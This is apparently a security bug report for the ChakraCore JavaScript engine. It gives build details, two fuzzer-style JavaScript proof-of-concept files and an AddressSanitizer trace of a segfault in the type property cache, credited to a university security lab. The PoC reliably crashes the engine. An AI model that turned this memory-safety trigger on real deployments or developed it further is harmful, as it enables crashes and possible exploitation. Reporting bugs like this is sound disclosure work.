AddressSanitizer: SEGV on unknown address in ./ChakraCore/lib/Runtime/Types/TypePropertyCache.cpp:20:16

Version
---
Branch : master
Version : https://github.com/chakra-core/ChakraCore/commit/c3ead3f8a6e0bb8e32e043adc091c68cba5935e9

Platform
---
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)

Build
---
- Address Sanitizer=On
- Release
```
./build.sh --static --sanitize=address
```

PoC
---
testcase

```javascript
function i ( t ) {
( function ( t ) { func0 . log ( t ) ; } )
( t ( ) ) ;
}
async function n ( t ) {
if ( t instanceof i ) {
for ( let t = 0 ; t < 1 ; ++ t ) {
let c = await i ( ) ;
let n = await c . log ( 8 % ( 4 + 2 ) ) ;
await c >> i ( n ) ;
}
} else {
var c = await n ( " nope " ) ;
}
}
n ( true ) ;
n . next ( " PASSED " ) ;
```

```javascript
// poc.js
function i ( t ) { }
async function n ( t ) {
if ( t instanceof i ) {
let c = await i ( ) ;
let n = await c . log () ;
await c >> i ( n ) ;
} else {
var c = await n ( ) ;
}
}
n ( true ) ;
```

Execution steps & Output
---

```
$ ./ch poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==758868==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x55ebaf9bf646 bp 0x7ffdf5c94150 sp 0x7ffdf5c94110 T0)
==758868==The signal is caused by a READ memory access.
==758868==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x55ebaf9bf646 in Js::TypePropertyCacheElement::Id() const ./ChakraCore/lib/Runtime/Types/TypePropertyCache.cpp:20:16
#1 0x55ebaf9bf646 in Js::TypePropertyCache::TryGetIndexForStore(int, unsigned short*, bool*) const ./ChakraCore/lib/Runtime/Types/TypePropertyCache.cpp:141:20
#2 0x55ebaf9be7d4 in Js::TypePropertyCache::TrySetProperty(Js::RecyclableObject*, int, void*, Js::ScriptContext*, Js::PropertyCacheOperationInfo*, Js::PropertyValueInfo*) ./ChakraCore/lib/Runtime/Types/TypePropertyCache.cpp:371:13
#3 0x55ebaeac4f83 in bool Js::CacheOperators::TrySetProperty(Js::RecyclableObject*, bool, int, void*, Js::ScriptContext*, Js::PropertyOperationFlags, Js::PropertyCacheOperationInfo*, Js::PropertyValueInfo*) ./ChakraCore/lib/Runtime/./Language/CacheOperators.inl:214:33
#4 0x55ebaeac3380 in void Js::ProfilingHelpers::ProfiledStFld(void*, int, Js::InlineCache*, unsigned int, void*, Js::PropertyOperationFlags, Js::ScriptFunction*, void*) ./ChakraCore/lib/Runtime/Language/ProfilingHelpers.cpp:1249:17
#5 0x55ebaeabc5a3 in Js::ProfilingHelpers::ProfiledStFld_Jit(void*, int, unsigned int, void*, void*) ./ChakraCore/lib/Runtime/Language/ProfilingHelpers.cpp:1090:9
...
...
...
#262 0x55ebaed971d7 in Js::JavascriptAsyncFunction::BeginAsyncFunctionExecution(Js::JavascriptGenerator*) ./ChakraCore/lib/Runtime/Library/JavascriptAsyncFunction.cpp:73:9
#263 0x55ebaed96a47 in Js::JavascriptAsyncFunction::EntryAsyncFunctionImplementation(Js::RecyclableObject*, Js::CallInfo, ...) ./ChakraCore/lib/Runtime/Library/JavascriptAsyncFunction.cpp:52:12
#264 0x55ebaf68a70d in amd64_CallFunction ./ChakraCore/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#265 0x55ebae9190cb in void Js::InterpreterStackFrame::OP_CallCommon > > __unaligned>(Js::OpLayoutDynamicProfile > > __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, Js::AuxArray const*) ./ChakraCore/lib/Runtime/Language/InterpreterStackFrame.cpp:3988:54
#266 0x55ebae918416 in void Js::InterpreterStackFrame::OP_ProfileCallCommon > > __unaligned>(Js::OpLayoutDynamicProfile > > __unaligned const __unaligned*, Js::RecyclableObject*, unsigned int, unsigned short, unsigned int, Js::AuxArray const*) ./ChakraCore/lib/Runtime/Language/InterpreterStackFrame.cpp:4016:9

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ./ChakraCore/lib/Runtime/Types/TypePropertyCache.cpp:20:16 in Js::TypePropertyCacheElement::Id() const
==758868==ABORTING
```

Credits: @Ye0nny, @EJueon of the seclab-yonsei.